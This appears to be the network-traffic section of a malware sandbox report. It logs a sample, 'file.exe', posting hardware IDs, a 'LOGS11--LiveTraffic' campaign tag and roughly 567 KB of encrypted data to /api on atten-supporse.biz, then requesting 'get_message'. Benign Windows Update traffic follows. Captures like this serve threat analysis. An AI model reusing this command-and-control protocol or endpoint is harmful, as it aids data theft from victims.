2024-12-04 15:10:41 UTC	1225	OUT	Data Raw: 2d 2d 57 44 42 41 5a 38 53 44 44 5a 51 44 4f 54 39 54 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 68 77 69 64 22 0d 0a 0d 0a 43 36 45 33 42 43 42 30 33 31 35 39 46 45 38 44 35 38 44 36 44 41 32 34 31 34 33 34 46 44 30 38 0d 0a 2d 2d 57 44 42 41 5a 38 53 44 44 5a 51 44 4f 54 39 54 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 70 69 64 22 0d 0a 0d 0a 31 0d 0a 2d 2d 57 44 42 41 5a 38 53 44 44 5a 51 44 4f 54 39 54 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 6c 69 64 22 0d 0a 0d 0a 4c 4f 47 53 31 31 2d 2d 4c 69 76 65 54 72 61 66 66 69 63 Data Ascii: --WDBAZ8SDDZQDOT9TContent-Disposition: form-data; name="hwid"C6E3BCB03159FE8D58D6DA241434FD08--WDBAZ8SDDZQDOT9TContent-Disposition: form-data; name="pid"1--WDBAZ8SDDZQDOT9TContent-Disposition: form-data; name="lid"LOGS11--LiveTraffic
2024-12-04 15:10:44 UTC	1015	IN	HTTP/1.1 200 OK Date: Wed, 04 Dec 2024 15:10:44 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: close Set-Cookie: PHPSESSID=uc4vi3p0qr73utq8puo6ppe44f; expires=Sun, 30-Mar-2025 08:57:21 GMT; Max-Age=9999999; path=/ Expires: Thu, 19 Nov 1981 08:52:00 GMT Cache-Control: no-store, no-cache, must-revalidate Pragma: no-cache CF-Cache-Status: DYNAMIC Report-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v4?s=AzYSz5u2ADQh09v0x02NdGHI%2F1Dh6XqEKH0vIL5gnZ8aSqG7O6Cfn1rwPYqE47%2BIFBo0Z68hlE1Z30S0toHEn6ooNDDmi8yf1jxDZE0GNbCZgP7neB9a6c5rbyXvJWqC8octiz4%3D"}],"group":"cf-nel","max_age":604800} NEL: {"success_fraction":0,"report_to":"cf-nel","max_age":604800} Server: cloudflare CF-RAY: 8eccb988ad424249-EWR alt-svc: h3=":443"; ma=86400 server-timing: cfL4;desc="?proto=TCP&rtt=1710&min_rtt=1694&rtt_var=668&sent=5&recv=7&lost=0&retrans=0&sent_bytes=2846&recv_bytes=2142&delivery_rate=1599123&cwnd=230&unsent_bytes=0&cid=d07e164d8eb4a552&ts=2882&x=0"
2024-12-04 15:10:44 UTC	20	IN	Data Raw: 66 0d 0a 6f 6b 20 38 2e 34 36 2e 31 32 33 2e 32 32 38 0d 0a Data Ascii: fok 8.46.123.228
2024-12-04 15:10:44 UTC	5	IN	Data Raw: 30 0d 0a 0d 0a Data Ascii: 0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
7	192.168.2.12	49722	188.114.96.6	443	6932	C:\Users\user\Desktop\file.exe

Timestamp	Bytes transferred	Direction	Data
2024-12-04 15:10:46 UTC	279	OUT	POST /api HTTP/1.1 Connection: Keep-Alive Content-Type: multipart/form-data; boundary=BXO3J85EMCFZ User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/119.0.0.0 Safari/537.36 Content-Length: 567804 Host: atten-supporse.biz
2024-12-04 15:10:46 UTC	15331	OUT	Data Raw: 2d 2d 42 58 4f 33 4a 38 35 45 4d 43 46 5a 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 68 77 69 64 22 0d 0a 0d 0a 43 36 45 33 42 43 42 30 33 31 35 39 46 45 38 44 35 38 44 36 44 41 32 34 31 34 33 34 46 44 30 38 0d 0a 2d 2d 42 58 4f 33 4a 38 35 45 4d 43 46 5a 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 70 69 64 22 0d 0a 0d 0a 31 0d 0a 2d 2d 42 58 4f 33 4a 38 35 45 4d 43 46 5a 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 6c 69 64 22 0d 0a 0d 0a 4c 4f 47 53 31 31 2d 2d 4c 69 76 65 54 72 61 66 66 69 63 0d 0a 2d 2d 42 58 4f 33 4a 38 35 45 Data Ascii: --BXO3J85EMCFZContent-Disposition: form-data; name="hwid"C6E3BCB03159FE8D58D6DA241434FD08--BXO3J85EMCFZContent-Disposition: form-data; name="pid"1--BXO3J85EMCFZContent-Disposition: form-data; name="lid"LOGS11--LiveTraffic--BXO3J85E
2024-12-04 15:10:46 UTC	15331	OUT	Data Raw: 02 5e e1 61 61 74 a8 62 1c 94 77 0b d0 cc f6 03 ce c0 af c0 59 15 14 d7 89 c6 0a 6c 37 8f 59 db 0f 3d 46 a9 69 50 6a 0a dd aa bf 69 7e ff 33 cb 6f 3e 70 8c 17 b4 2a 63 61 1c 07 bb c1 ba fe 63 e1 ad 1c 88 59 78 fb ff 9b 46 a4 80 ec ac 16 28 87 80 2b 29 71 d6 10 94 84 a2 19 18 cd 84 fc 36 8a c9 80 d2 c6 6c db 40 24 a0 7f 61 3d 6f 56 a4 ee b0 d2 d4 dd 4b 10 22 cc e7 89 03 ef 9a da 72 b5 d1 b0 88 40 d0 fb 74 a8 fe af 6f ea 03 40 40 9c 92 fe d7 4e 9f 24 d2 59 2f b7 32 cc ae 2a d0 f0 37 f8 f4 34 b8 70 dd 02 a3 f1 ec a6 8f 38 7d 55 ca 3c dd 29 83 3f f9 26 25 6e d6 1e 09 c1 76 56 ed 2f 85 db 1d 40 b1 d2 5a b9 63 e5 05 f1 6c 97 3c 7c 68 cc 96 c0 7c f5 2e f7 da d0 26 34 01 23 f9 01 b4 87 1b 99 85 f8 c9 a7 b7 62 72 ae 91 ad 20 b2 63 10 08 dd 99 29 b7 1a 17 72 f6 c2 Data Ascii: ^aatbwYl7Y=FiPji~3o>pcacYxF(+)q6l@$a=oVK"r@to@@N$Y/274p8}U<)?&%nvV/@Zcl<\|h\|.&4#br c)r
2024-12-04 15:10:46 UTC	15331	OUT	Data Raw: 3a 9f 9e 03 3b e4 3e 10 e1 62 f3 93 fe 5a 01 76 44 53 e5 e4 a3 98 c2 f7 82 d8 10 3d fc 40 44 ce 6c 5b 19 ea 12 0a 7e f4 f9 14 43 72 b5 70 2b 41 b7 7a 7a bd f4 ea 93 f2 f1 f5 e1 b2 fe 5b d5 83 83 77 fa bd e6 9d 43 57 2e b1 98 73 d1 06 7c 0e 5d 07 01 66 b5 9c 33 f3 64 be 62 45 83 b6 2f d5 f7 9f 93 ea 21 9f 8e 45 f9 c9 9f aa 4c 42 95 cd 1e 02 01 bf 16 c6 1a 0f 02 50 30 c9 d9 14 fc 9b ad 11 41 d7 48 15 c9 45 26 a4 d7 bc ea 98 8e ad 0a 90 57 c6 9f ff 35 bd eb af 31 3e 10 bf f5 9b f3 8e e1 c0 59 a4 26 42 40 8f 7f ab 8c 21 d0 bb 0f f2 ed 84 2c fe bf 9f 5a 68 c9 63 91 8d 04 f7 48 f2 50 57 5a 4f e7 01 78 0c 5f 03 48 af ad aa a8 af 2b 41 fb 30 92 2a 87 ab cc 59 58 09 2a 6e 58 14 ac 5f 55 37 ba 34 77 46 79 5a d3 c3 ef c1 c8 5e 21 2a 22 9c 0d 05 ff 9c f8 2b 7b 74 bd Data Ascii: :;>bZvDS=@Dl[~Crp+Azz[wCW.s\|]f3dbE/!ELBP0AHE&W51>Y&B@!,ZhcHPWZOx_H+A0YXnX_U74wFyZ^!*"+{t
2024-12-04 15:10:46 UTC	15331	OUT	Data Raw: a8 d3 e8 53 a2 ce 4a 8d 33 45 b5 18 20 7b 17 31 39 b9 6b dd 1a 13 48 02 2e bd b3 94 c8 3a fc c8 dd 12 64 72 7e b2 01 f6 9b ac f0 2b 54 d1 37 61 aa 3e 47 6b 85 60 55 4f 49 95 c0 8b 83 d7 12 5a 47 40 66 53 e8 05 40 1c 29 fc 39 aa 24 f9 b3 56 e4 19 d3 90 a0 f5 6f e4 45 0d 4a 2b 40 2f a2 b8 77 0d 90 52 60 ef 62 87 47 3a 6a 5d 75 cf 0e f6 dd b9 f8 3a aa 10 ef 3c b1 b0 65 29 c7 8f e7 e9 ac 8f 25 6e 08 ab 34 dd c3 13 2e fe 52 16 44 9c c1 22 65 e3 54 e8 ac de 94 6b 72 60 87 c2 0e d8 4f 8a 84 b9 ee 22 4e 15 7d b4 24 b8 0c f0 fd 4b 48 2a 55 db 36 76 82 f7 da 48 78 28 70 34 c3 da 06 9c d1 8c df b3 75 fe a2 99 f1 6b 3f 3f 19 40 e8 00 9f f9 9d 4e 2d a2 af 3d 37 ec 94 35 3c b3 32 5b 11 c2 90 26 ea de 36 dc 84 49 d5 be 09 76 f1 47 65 c1 79 fc 4f 1f 11 f7 66 7d 1f cf d6 Data Ascii: SJ3E {19kH.:dr~+T7a>Gk`UOIZG@fS@)9$VoEJ+@/wR`bG:j]u:<e)%n4.RD"eTkr`O"N}$KH*U6vHx(p4uk??@N-=75<2[&6IvGeyOf}
2024-12-04 15:10:46 UTC	15331	OUT	Data Raw: cb 38 0f b5 bb f5 e3 70 53 56 74 52 76 35 08 8d 0e bd 87 f3 58 ed 6e 45 ef 38 f4 5c 92 ad ea 9e cd 69 43 96 6e 07 b9 c5 68 83 06 b8 ca 0e e0 89 01 df 47 e4 05 75 70 b2 99 d6 f1 04 aa 22 0a 0b eb 70 0e 4c e4 ad f0 f5 b5 e1 84 2d 76 ae f5 57 f6 4a a2 0d 35 60 3e e6 7c ad a0 a8 05 31 81 be a1 58 e3 b0 5a 13 69 22 c4 f5 b4 d8 7f 29 bb 8e 5b 83 bb 07 57 5e e7 32 0c 51 52 bc 25 e1 8c eb 87 67 65 b4 11 69 33 0b 84 f0 51 26 39 3d 16 14 59 83 23 e0 61 8e 2a 01 38 71 ab 71 48 f0 7a b1 ad fb d9 ad 99 24 72 92 56 12 d5 67 b6 55 af 8a a8 68 79 2f 65 de 4c 66 9f 6b 90 fe 86 e2 22 eb 1f a2 8f ee 48 7f fa a1 b2 0c 09 6c e0 ff 05 e9 ff ef a1 c7 ed 0f 3e fa 02 8d 68 21 07 e4 81 63 27 72 e0 75 65 a1 fa 5f 63 85 ea e8 51 61 e6 76 a9 d6 ad 07 27 92 6e fc ac 0d 06 30 0a 99 12 Data Ascii: 8pSVtRv5XnE8\iCnhGup"pL-vWJ5`>\|1XZi")[W^2QR%gei3Q&9=Y#a*8qqHz$rVgUhy/eLfk"Hl>h!c'rue_cQav'n0
2024-12-04 15:10:46 UTC	15331	OUT	Data Raw: 3f 4f 0a 38 d5 8c dc 80 60 7f 62 be a5 2a 68 7a 19 32 c7 43 7b 27 46 55 42 98 65 f0 e5 c1 bc 6b db 09 e5 32 e5 b3 ed 4e 82 7a 7b 36 8e fe 42 4f 99 67 a6 a0 03 de bf 6a d5 44 95 46 aa 26 2e e0 a6 2c bf 7a 1e 96 60 7e 13 63 4a 7f d7 13 58 7c 7e 0a 1e 5d 46 af 76 1c 23 72 03 ef 7a 84 17 9a e8 23 3c 3b 19 77 06 58 41 82 26 8e e8 b2 c9 ce ad 49 db 88 5b 1c 69 65 80 13 70 22 aa 89 1f 2d 1d a6 c5 ff e9 b7 e8 7c d7 c5 4d 35 74 b5 32 2b 30 ff 59 a8 1e 99 7c 20 c4 4b 78 ec 50 49 47 2d c1 06 84 3a ce 70 bc 71 56 51 3e cc d3 6b dc 23 93 9b 84 8d 9e c4 60 72 97 13 4c 1d a1 b1 e0 fe 52 67 1d d2 0d 45 ab 8c da 12 4b b2 c8 c3 cd cb e7 83 db b4 50 31 13 d8 65 b1 eb fe 78 ee 53 8a 7b 91 ea cb 36 34 49 c4 69 bc b6 e2 cb ca 0e 7e 4a 3d d3 d4 71 eb bd 7c 42 40 d7 86 76 c2 8b Data Ascii: ?O8`b*hz2C{'FUBek2Nz{6BOgjDF&.,z`~cJX\|~]Fv#rz#<;wXA&I[iep"-\|M5t2+0Y\| KxPIG-:pqVQ>k#`rLRgEKP1exS{64Ii~J=q\|B@v
2024-12-04 15:10:46 UTC	15331	OUT	Data Raw: 14 19 e7 cc 3f e5 9c 89 ed 2d 65 62 18 a5 97 29 df 0b d1 d9 78 b6 01 bf bd 37 eb 8a 28 62 35 f8 4e 87 70 ce 2d 93 29 4e c2 bb e8 8d 9f 12 8c 7b 44 b6 04 02 23 bb 27 6a 5e f4 51 bb db 9f 5b ce 5e 38 39 40 98 f4 0e 26 55 e3 16 2d cb d5 87 ab 8f 43 e1 4f 57 24 8e e8 b6 6c 16 78 b2 15 77 a7 a4 1f 34 c8 e1 7a 0a e7 ff f7 85 c3 c9 11 90 e8 23 85 dc 6a f7 f1 a2 f7 38 3e 83 ba 9a 5a d1 c5 1a ac 13 37 79 31 d6 6f 31 56 f4 e4 31 b9 1c 55 54 d0 a9 cd a4 89 fd 14 6f f6 a1 c6 82 1f 55 25 07 44 3b d7 ed 82 71 01 77 5b ec b6 79 bd c5 af 0f 41 0d 9e dd 37 ae 06 c5 02 07 de d3 24 6b ae 5a c7 64 2c 7e f7 e8 0a e7 2f 97 f2 3c 25 8c ac 62 e1 c2 7b d5 fc 14 23 2a e7 92 fb 37 55 6e 7d c4 b8 65 ae 70 68 ec e4 3d ab 25 3f 8b dc 3c f6 58 f5 b2 c6 a4 cc 40 50 36 38 97 99 26 e6 17 Data Ascii: ?-eb)x7(b5Np-)N{D#'j^Q[^89@&U-COW$lxw4z#j8>Z7y1o1V1UToU%D;qw[yA7$kZd,~/<%b{#*7Un}eph=%?<X@P68&
2024-12-04 15:10:46 UTC	15331	OUT	Data Raw: 10 85 c2 7d 72 61 ab b8 83 ba 4d 4b 10 9b 59 8c f8 a0 68 c3 63 a2 2b 60 f3 8d 88 f3 36 ad 71 71 87 ee 3f 8f 38 47 38 92 41 4f fc 42 40 ec 70 ed bb e5 a8 b3 02 89 4c df 54 49 d6 44 4c 75 d8 c6 10 68 53 92 7b 79 5f 17 24 68 58 2b 52 75 bb 83 e0 da b3 a5 ec 41 d3 81 ac 79 6a 47 0b d1 8f f5 86 94 ee dc 54 46 91 dc a3 3d 5f 63 36 ab 83 89 9c 06 af 01 1b 6c 10 1a 43 f4 0e d8 70 fc 96 bc 69 5a f9 d6 5d 55 ad 31 eb 85 76 28 d6 b7 ae 96 97 6b c8 e9 86 20 17 d3 ed 01 56 9e 84 03 75 68 2c b0 62 a4 e3 08 89 ed 24 a2 21 d5 a4 31 b4 ec be 2f 4d a0 50 b5 f6 31 be fb 4e a2 25 c9 f2 52 ba 2a f2 ac 0e e1 8d b7 29 1a de aa 06 b8 6b 6a e9 66 1c 15 8a 87 6b 6a bc c0 26 f1 9c ae 55 49 c6 57 7d 7e af c8 bc 3a a3 0b 38 de 3b a2 a4 5b 8d e9 08 a2 1f 77 5f c4 13 61 70 9e 21 9b 1a Data Ascii: }raMKYhc+`6qq?8G8AOB@pLTIDLuhS{y_$hX+RuAyjGTF=_c6lCpiZ]U1v(k Vuh,b$!1/MP1N%R*)kjfkj&UIW}~:8;[w_ap!
2024-12-04 15:10:46 UTC	15331	OUT	Data Raw: c6 04 9f 87 70 0f b1 1b 19 e1 d2 fc 77 4e ef 4e cd cf a7 5c 82 03 83 1a 92 e8 09 1a f8 c4 84 25 fa 79 41 2c 31 83 03 f1 17 9b 8e e0 75 01 b4 45 67 45 f2 24 e6 e3 27 b4 77 5d c8 04 f4 63 33 eb 63 4d 54 58 97 9e 78 6b cd 9f dc f1 26 87 10 44 44 95 6e ab c0 7c d9 00 77 f6 3e f9 94 9d ac 7d 04 54 f4 c7 cb b0 04 df 99 41 81 6b 04 59 ae f8 7b 1a 7f 50 2d 4b 2d f1 b1 8a b0 ec 7a be 6a 72 f0 a7 c6 50 4f be 2e 89 88 10 81 e1 3f ba 33 22 be b4 71 f2 27 23 b4 7b 7a 63 b0 9e a5 8d 0c e5 b4 37 f5 cf 08 81 19 e6 98 2c 82 1a a8 8e 09 93 dc 79 b3 62 ed 9a 2e 0a 67 1f c2 fb 32 ed 56 6b 83 28 8f 81 af 93 3b 34 ed fc 0c c6 6f b4 0f c6 f8 22 88 a9 d0 8d 54 f8 f9 c9 c5 62 c4 ea 49 88 4a 5f ad 6f 4d ac 00 dc ec 5b 2e cc d0 94 85 2c d8 ba 1f b6 55 ad bd bc d7 8c e1 12 bb 39 8e Data Ascii: pwNN\%yA,1uEgE$'w]c3cMTXxk&DDn\|w>}TAkY{P-K-zjrPO.?3"q'#{zc7,yb.g2Vk(;4o"TbIJ_oM[.,U9
2024-12-04 15:10:46 UTC	15331	OUT	Data Raw: 86 88 09 cf 5b 2d c2 8f 09 1a be 5c 66 12 f8 10 93 43 7b b8 a3 15 16 2a 46 a2 5f 44 6a e6 df f9 d7 41 02 54 8a cf 53 8b ec 1d 75 69 7c 51 06 e4 b8 0f ce a5 5d 17 5a 5b e9 2e cf 15 d5 5f 4c 5c ca f5 0e 97 cb 70 3b 7f 60 31 9f 67 77 48 6a 0f 3f f0 e7 c1 aa 82 81 1f 84 7c 6d 0b ac b8 53 e4 5f 9c 67 3f 1e f9 ed 3c d7 ce b9 f6 41 b3 42 31 4b dd 95 cb a5 08 0e 46 3d 6f bf b7 27 82 fa 76 93 c2 94 dd 07 12 67 44 37 38 49 93 3d 07 85 b3 84 09 42 60 79 88 30 2f 01 b2 f9 89 3c e0 ac 1a 87 49 ef ae 4a bc 01 11 6a 5d 7e f0 1d 04 89 36 64 8e 34 23 84 96 5d ea 6e cb 77 41 62 1b 04 13 05 de c8 26 0b dc 80 38 88 e8 b3 c6 eb 23 63 e1 74 66 24 52 03 f9 28 41 98 40 82 29 96 46 92 e3 c0 1f 01 62 4e 49 eb 8a f0 dd b7 48 b8 97 03 ed 30 b5 32 48 70 64 8c f0 9b dd 2d 0e 69 7b 58 Data Ascii: [-\fC{*F_DjATSui\|Q]Z[._L\p;`1gwHj?\|mS_g?<AB1KF=o'vgD78I=B`y0/<IJj]~6d4#]nwAb&8#ctf$R(A@)FbNIH02Hpd-i{X
2024-12-04 15:10:53 UTC	1037	IN	HTTP/1.1 200 OK Date: Wed, 04 Dec 2024 15:10:53 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: close Set-Cookie: PHPSESSID=pl9jq9ia5m8ocalb9nikha5q4e; expires=Sun, 30-Mar-2025 08:57:28 GMT; Max-Age=9999999; path=/ Expires: Thu, 19 Nov 1981 08:52:00 GMT Cache-Control: no-store, no-cache, must-revalidate Pragma: no-cache CF-Cache-Status: DYNAMIC Report-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v4?s=S%2FrQdvEJ9trLvF4iPLE%2FrViQ33n%2FbQS2GfDyoTacIIznjiu1U0HEmvTi9X6Sk7CMCk9l2uInesLXTy3%2FCccPZ%2F%2FSfDjJCVe%2F0l%2FDIbTgv3lb%2BGBB0Ucoqah94f4BO%2B7tPpaAsg4%3D"}],"group":"cf-nel","max_age":604800} NEL: {"success_fraction":0,"report_to":"cf-nel","max_age":604800} Server: cloudflare CF-RAY: 8eccb9a50dfe78d3-EWR alt-svc: h3=":443"; ma=86400 server-timing: cfL4;desc="?proto=TCP&rtt=1816&min_rtt=1810&rtt_var=692&sent=323&recv=594&lost=0&retrans=0&sent_bytes=2846&recv_bytes=570347&delivery_rate=1567364&cwnd=210&unsent_bytes=0&cid=19d0652019080c23&ts=7054&x=0"

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
8	192.168.2.12	49723	188.114.96.6	443	6932	C:\Users\user\Desktop\file.exe

Timestamp	Bytes transferred	Direction	Data
2024-12-04 15:10:54 UTC	266	OUT	POST /api HTTP/1.1 Connection: Keep-Alive Content-Type: application/x-www-form-urlencoded User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/119.0.0.0 Safari/537.36 Content-Length: 88 Host: atten-supporse.biz
2024-12-04 15:10:54 UTC	88	OUT	Data Raw: 61 63 74 3d 67 65 74 5f 6d 65 73 73 61 67 65 26 76 65 72 3d 34 2e 30 26 6c 69 64 3d 4c 4f 47 53 31 31 2d 2d 4c 69 76 65 54 72 61 66 66 69 63 26 6a 3d 26 68 77 69 64 3d 43 36 45 33 42 43 42 30 33 31 35 39 46 45 38 44 35 38 44 36 44 41 32 34 31 34 33 34 46 44 30 38 Data Ascii: act=get_message&ver=4.0&lid=LOGS11--LiveTraffic&j=&hwid=C6E3BCB03159FE8D58D6DA241434FD08
2024-12-04 15:10:57 UTC	1016	IN	HTTP/1.1 200 OK Date: Wed, 04 Dec 2024 15:10:57 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: close Set-Cookie: PHPSESSID=3m642ni4fi7s9cn2d7c3miqdcr; expires=Sun, 30-Mar-2025 08:57:34 GMT; Max-Age=9999999; path=/ Expires: Thu, 19 Nov 1981 08:52:00 GMT Cache-Control: no-store, no-cache, must-revalidate Pragma: no-cache CF-Cache-Status: DYNAMIC Report-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v4?s=AZXKAxZwvFv%2FCCtRFyu8uWsxCOPQfJ0fO5EsbGPF9lr%2BrZ0vUwxi4aLbSomt9u4k5EP2lVWMFyWGTdw18lLBSicSe5sZvuBQBG6AyzZ7OAnC96%2BEM5xBZrgxHg4lwpaVj1dpdsE%3D"}],"group":"cf-nel","max_age":604800} NEL: {"success_fraction":0,"report_to":"cf-nel","max_age":604800} Server: cloudflare CF-RAY: 8eccb9d9ab254381-EWR alt-svc: h3=":443"; ma=86400 server-timing: cfL4;desc="?proto=TCP&rtt=1886&min_rtt=1694&rtt_var=1021&sent=5&recv=7&lost=0&retrans=0&sent_bytes=2847&recv_bytes=990&delivery_rate=902069&cwnd=206&unsent_bytes=0&cid=28ee8558985afae2&ts=2876&x=0"
2024-12-04 15:10:57 UTC	214	IN	Data Raw: 64 30 0d 0a 44 51 42 44 45 77 6c 78 57 4f 4b 4f 46 6e 37 54 6a 79 6b 75 59 61 6e 30 79 42 39 2b 76 61 51 6f 5a 5a 58 50 67 66 31 6d 30 67 70 57 65 32 46 6d 4b 30 74 36 69 76 70 69 44 75 6e 54 42 6e 4a 4f 6d 4d 7a 39 4d 55 79 4d 6b 51 5a 55 70 50 79 76 7a 46 43 4f 4a 57 4a 6d 4a 55 38 6d 46 54 32 45 6f 48 4d 47 74 71 30 46 44 41 66 64 31 76 49 76 55 70 2f 42 43 6c 2b 6b 73 71 32 47 52 4b 63 6f 4e 79 49 72 5a 33 30 42 59 72 36 68 53 6c 48 69 74 78 77 41 55 35 6a 42 35 69 35 50 6a 6f 6f 5a 55 38 6e 67 38 6f 6b 44 73 32 64 52 4c 7a 46 79 5a 78 55 33 6a 36 42 7a 42 72 61 74 42 51 77 48 33 64 62 79 4c 31 4b 66 77 51 70 66 70 62 4c 63 0d 0a Data Ascii: d0DQBDEwlxWOKOFn7TjykuYan0yB9+vaQoZZXPgf1m0gpWe2FmK0t6ivpiDunTBnJOmMz9MUyMkQZUpPyvzFCOJWJmJU8mFT2EoHMGtq0FDAfd1vIvUp/BCl+ksq2GRKcoNyIrZ30BYr6hSlHitxwAU5jB5i5PjooZU8ng8okDs2dRLzFyZxU3j6BzBratBQwH3dbyL1KfwQpfpbLc
2024-12-04 15:10:57 UTC	5	IN	Data Raw: 30 0d 0a 0d 0a Data Ascii: 0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
9	192.168.2.12	49741	23.218.208.109	443

Timestamp	Bytes transferred	Direction	Data
2024-12-04 15:11:17 UTC	161	OUT	HEAD /fs/windows/config.json HTTP/1.1 Connection: Keep-Alive Accept: / Accept-Encoding: identity User-Agent: Microsoft BITS/7.8 Host: fs.microsoft.com
2024-12-04 15:11:18 UTC	478	IN	HTTP/1.1 200 OK Content-Type: application/octet-stream Server: Kestrel ETag: "0x64667F707FF07D62B733DBCB79EFE3855E6886C9975B0C0B467D46231B3FA5E7" Last-Modified: Tue, 16 May 2017 22:58:00 GMT X-Ms-ApiVersion: Distribute 1.2 X-Ms-Region: prod-weu-z1 Content-Disposition: attachment; filename=config.json; filename*=UTF-8''config.json X-OSID: 2 X-CID: 2 X-CCC: GB Cache-Control: public, max-age=81970 Date: Wed, 04 Dec 2024 15:11:18 GMT Connection: close X-CID: 2

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
10	192.168.2.12	49742	20.12.23.50	443

Timestamp	Bytes transferred	Direction	Data
2024-12-04 15:11:18 UTC	306	OUT	GET /SLS/%7BE7A50285-D08D-499D-9FF8-180FDC2332BC%7D/x64/10.0.19045.2006/0?CH=700&L=en-GB&P=&PT=0x30&WUA=10.0.19041.1949&MK=mGro34gfU62AXd9&MD=huvo7m3l HTTP/1.1 Connection: Keep-Alive Accept: / User-Agent: Windows-Update-Agent/10.0.10011.16384 Client-Protocol/2.33 Host: slscr.update.microsoft.com
2024-12-04 15:11:19 UTC	560	IN	HTTP/1.1 200 OK Cache-Control: no-cache Pragma: no-cache Content-Type: application/octet-stream Expires: -1 Last-Modified: Mon, 01 Jan 0001 00:00:00 GMT ETag: "vic+p1MiJJ+/WMnK08jaWnCBGDfvkGRzPk9f8ZadQHg=_1440" MS-CorrelationId: 4e7b1879-55bb-46ff-bd49-2974182f8594 MS-RequestId: 78d42410-097d-4618-a84a-e644e23b82db MS-CV: SgL1B5zfkUigoiiZ.0 X-Microsoft-SLSClientCache: 1440 Content-Disposition: attachment; filename=environment.cab X-Content-Type-Options: nosniff Date: Wed, 04 Dec 2024 15:11:18 GMT Connection: close Content-Length: 30005
2024-12-04 15:11:19 UTC	15824	IN	Data Raw: 4d 53 43 46 00 00 00 00 8d 2b 00 00 00 00 00 00 44 00 00 00 00 00 00 00 03 01 01 00 01 00 04 00 5b 49 00 00 14 00 00 00 00 00 10 00 8d 2b 00 00 a8 49 00 00 00 00 00 00 00 00 00 00 64 00 00 00 01 00 01 00 72 4d 00 00 00 00 00 00 00 00 00 00 00 00 80 00 65 6e 76 69 72 6f 6e 6d 65 6e 74 2e 63 61 62 00 fe f6 51 be 21 2b 72 4d 43 4b ed 7c 05 58 54 eb da f6 14 43 49 37 0a 02 d2 b9 86 0e 41 52 a4 1b 24 a5 bb 43 24 44 18 94 90 92 52 41 3a 05 09 95 ee 54 b0 00 91 2e e9 12 10 04 11 c9 6f 10 b7 a2 67 9f bd cf 3e ff b7 ff b3 bf 73 ed e1 9a 99 f5 c6 7a d7 bb de f5 3e cf fd 3c f7 dc 17 4a 1a 52 e7 41 a8 97 1e 14 f4 e5 25 7d f4 05 82 82 c1 20 30 08 06 ba c3 05 02 11 7f a9 c1 ff d2 87 5c 1e f4 ed 65 8e 7a 1f f6 0a 40 03 1d 7b f9 83 2c 1c 2f db b8 3a 39 3a 58 38 ba 73 5e Data Ascii: MSCF+D[I+IdrMenvironment.cabQ!+rMCK\|XTCI7AR$C$DRA:T.og>sz><JRA%} 0\ez@{,/:9:X8s^
2024-12-04 15:11:19 UTC	14181	IN	Data Raw: 06 03 55 04 06 13 02 55 53 31 13 30 11 06 03 55 04 08 13 0a 57 61 73 68 69 6e 67 74 6f 6e 31 10 30 0e 06 03 55 04 07 13 07 52 65 64 6d 6f 6e 64 31 1e 30 1c 06 03 55 04 0a 13 15 4d 69 63 72 6f 73 6f 66 74 20 43 6f 72 70 6f 72 61 74 69 6f 6e 31 26 30 24 06 03 55 04 03 13 1d 4d 69 63 72 6f 73 6f 66 74 20 54 69 6d 65 2d 53 74 61 6d 70 20 50 43 41 20 32 30 31 30 30 1e 17 0d 32 33 31 30 31 32 31 39 30 37 32 35 5a 17 0d 32 35 30 31 31 30 31 39 30 37 32 35 5a 30 81 d2 31 0b 30 09 06 03 55 04 06 13 02 55 53 31 13 30 11 06 03 55 04 08 13 0a 57 61 73 68 69 6e 67 74 6f 6e 31 10 30 0e 06 03 55 04 07 13 07 52 65 64 6d 6f 6e 64 31 1e 30 1c 06 03 55 04 0a 13 15 4d 69 63 72 6f 73 6f 66 74 20 43 6f 72 70 6f 72 61 74 69 6f 6e 31 2d 30 2b 06 03 55 04 0b 13 24 4d 69 63 72 6f Data Ascii: UUS10UWashington10URedmond10UMicrosoft Corporation1&0$UMicrosoft Time-Stamp PCA 20100231012190725Z250110190725Z010UUS10UWashington10URedmond10UMicrosoft Corporation1-0+U$Micro

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
11	192.168.2.12	49749	23.218.208.109	443

Timestamp	Bytes transferred	Direction	Data
2024-12-04 15:11:20 UTC	239	OUT	GET /fs/windows/config.json HTTP/1.1 Connection: Keep-Alive Accept: / Accept-Encoding: identity If-Unmodified-Since: Tue, 16 May 2017 22:58:00 GMT Range: bytes=0-2147483646 User-Agent: Microsoft BITS/7.8 Host: fs.microsoft.com
